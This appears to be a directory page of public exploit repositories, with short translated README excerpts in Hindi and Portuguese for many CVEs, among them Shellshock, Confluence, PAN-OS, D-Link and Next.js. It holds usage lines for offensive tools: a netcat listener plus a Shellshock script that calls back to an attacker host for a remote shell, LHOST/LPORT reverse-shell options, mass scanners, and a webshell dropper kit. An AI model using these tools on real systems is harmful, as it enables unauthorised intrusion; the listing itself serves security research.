CVE-2024-23346

🚀 CVE-2024-23346 Chemistry - HTB यह रिपॉजिटरी हैक द बॉक्स HTB के "Chemistry" मशीन पर उपयोग के लिए एक क्रिस्टलोग्राफ़िक सूचना फ़ाइल CIF प्रदान करती है। CIF फ़ाइल उदाहरण dataExample celllengtha 10.00000 celllengthb 10.00000 celllengthc 10.00000 cellanglealpha 90.00000 cellanglebeta 90.00000...

CVE-2024-3400

CVE-2024-3400 PaloAlto पर मनमाने अपलोड की जाँच के लिए सरल Python कोड बस फ़ाइल निर्माण से पहले और बाद में पालोअल्टो से लौटाए गए स्थिति कोड की जाँच करता है। यह एक यादृच्छिक रूप से उत्पन्न फ़ाइलनाम बनाता है और पोस्ट के बाद इसे वापस कॉल करने का प्रयास करता है। यदि यह संवेदनशील है तो यह आपके PaloAlto ...

CVE-2024-3273

Exploit de Execução de Comandos em NAS D-Link Este script Python explora uma vulnerabilidade CVE-2024-3273 em dispositivos NAS D-Link, permitindo a execução arbitrária de comandos. Ele aproveita a vulnerabilidade para executar comandos remotamente nos dispositivos afetados. Recursos Executa...

CVE-2018-9995_Batch_scanning_exp

CVE-2018-9995Batchscanningexp（última atualização 2018-8-9） Script de varredura em lote para dvr da vulnerabilidade CVE-2018-9995 Script de exploração original do CVE-2018-9995 código original Preparação do ambiente python3, ubuntu user@ubuntu:$ sudo pip3 install grequests user@ubuntu:$ sudo pip3...

pyjadx

pyjadx JADX के लिए JPype के माध्यम से Python बाइंडिंग्स। Android APK और DEX फ़ाइलों को Python से Java स्रोत में डीकंपाइल करें। from pyjadx import Jadx with Jadx"app.apk" as jadx: for cls in jadx.classes: printcls.fullname printcls.code pyjadx क्यों? JADX एक अग्रणी ओपन-सोर्स Android डीकंपाइलर है —...

CVE-2022-26134

CVE-2022-26134 Atlassian Confluence रिमोट कोड निष्पादन भेद्यता CVE-2022-26134 उपयोग विधि: python CVE-2022-26134.py -u http://127.0.0.1 बैच सत्यापन: python CVE-2022-26134.py -f xxx.txturl को txt में कॉपी करें...

CVE-2020-14883

CVE-2020-14883 Script de detecção em lote para vulnerabilidade de bypass de autenticação no Weblogic Método de uso: Python CVE-2020-14883-Multiple.py ip.txt port Os endereços vulneráveis serão salvos em Vul.txt...

CVE-2014-6271

CVE-2014-6271 python2.7 Comece a escutar na sua máquina. nc -l -p 4444 Execute o script python conforme a regra abaixo: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Divirta-se...

CVE-2022-40684

CVE-2022-40684 Enumerar todos os nomes de utilizador com um clique e escrever a chave pública SSH Integrou e otimizou o código destes dois repositórios para permitir a enumeração de todos os nomes de utilizador e a escrita da chave pública SSH com um clique:...

Awesome-CVE-2020-0601

Awesome-CVE-2020-0601 ✔ 😂 Uma lista curada incrível de repositórios para CVE-2020-0601. PoC Ruby ollypwn/CVE-2020-0601 https://github.com/ollypwn/cve-2020-0601 Python kudelskisecurity/chainoffools https://github.com/kudelskisecurity/chainoffools Python saleemrashid/badecparams...

CVE-2023-24078

Descrição Este script é um exploit de Prova de Conceito PoC que desenvolvi para CVE-2023-24078. Depois de tentar os PoCs publicamente disponíveis que não funcionavam e enfrentar frustração ao tentar solucioná-los, criei meu próprio script. usage: python3 CVE-2023-24078.py -h -lh LHOST -lp LPORT -...

CVE-2024-9474

CVE-2024-9474 PoC para vulnerabilidade do Palo Alto PAN-OS Requisitos nenhum requisito especial necessário, apenas python3 e biblioteca padrão Uso python3 cve.py --help python3 cve.py -u URL Créditos https://github.com/Chocapikk/CVE-2024-9474...

CVE-2024-28397-command-execution-poc

CVE-2024-28397-command-execution-poc Esta vulnerabilidade decorre de sandboxing incompleto no js2py, onde JavaScript malicioso pode percorrer o modelo de objetos interno do Python e acessar classes perigosas como subprocess.Popen, levando à execução arbitrária de comandos. Parsers JSON & PoC de...

test_cve-2023-46747

Script em Python para testar se um F5 BIG-IP está vulnerável ao CVE-2023-46747. Quando vulnerável, uma conta de usuário com direitos de administrador é adicionada. Para mitigar esta vulnerabilidade, consulte: https://my.f5.com/manage/s/article/K000137353...

OracleOTM

OracleOTM Ferramenta Python para explorar CVE-2021-35616 O script funciona em módulos, implementados na seguinte ordem: ► Enumeração de nomes de utilizador ► Pesquisa por credenciais padrão ► Executar uma consulta SQL utilizando o servlet DBXML ► Exploração completa e execução JSP A sintaxe do...

CVE-2023-42819

CVE-2023-42819 CVE-2023-42819 Descrição da Vulnerabilidade Vulnerabilidade de escrita arbitrária de arquivos no JumpServer CVE-2023-42819 + CVE-2023-42820 = GetShell USO 1. Coloque o script e os arquivos necessários no mesmo diretório 2. Confirme que o Google Chrome está instalado e obtenha o...

poc-cve-2024-23334

poc-cve-2024-23334 Este repositório contém uma prova de conceito sobre a exploração da biblioteca aiohttp para a vulnerabilidade reportada CVE-2024-23334. Isto foi criado por dois motivos: 1. Fins educacionais: para aqueles que estão começando em segurança de aplicações, é útil ver as etapas para...

CVE-2019-9053-exploit

CVE-2019-9053-exploit exploit funcional para CVE-2019-9053 Editei o exploit original e agora está funcionando bem. O exploit original tinha alguns problemas como sintaxe ausente. Uso: Exemplo de uso sem quebrar senha: exploit.py -u http://target-uri Exemplo de uso com quebra de senha: exploit.py ...

CVE-2018-8174_EXP

CVE-2018-8174EXP uso: CVE-2018-8174.py -h -u URL -o OUTPUT -i IP -p PORT Exploit para CVE-2018-8174 argumentos opcionais: -h, --help mostra esta mensagem de ajuda e sai -u URL, --url URL url do exploit -o OUTPUT, --output OUTPUT Saída do exploit rtf -i IP, --ip IP ip para netcat -p PORT, --port...

React2Shell

🔐 React2Shell - Kit de RCE para Poluição de RSC no Next.js Este toolkit em Python explora a cadeia de gadgets de poluição de protótipo + React.lazy-1 dos React Server Components RSC do Next.js para acesso RCE completo, incluindo god shell interativo, upload de arquivos dropper de webshell PHP e...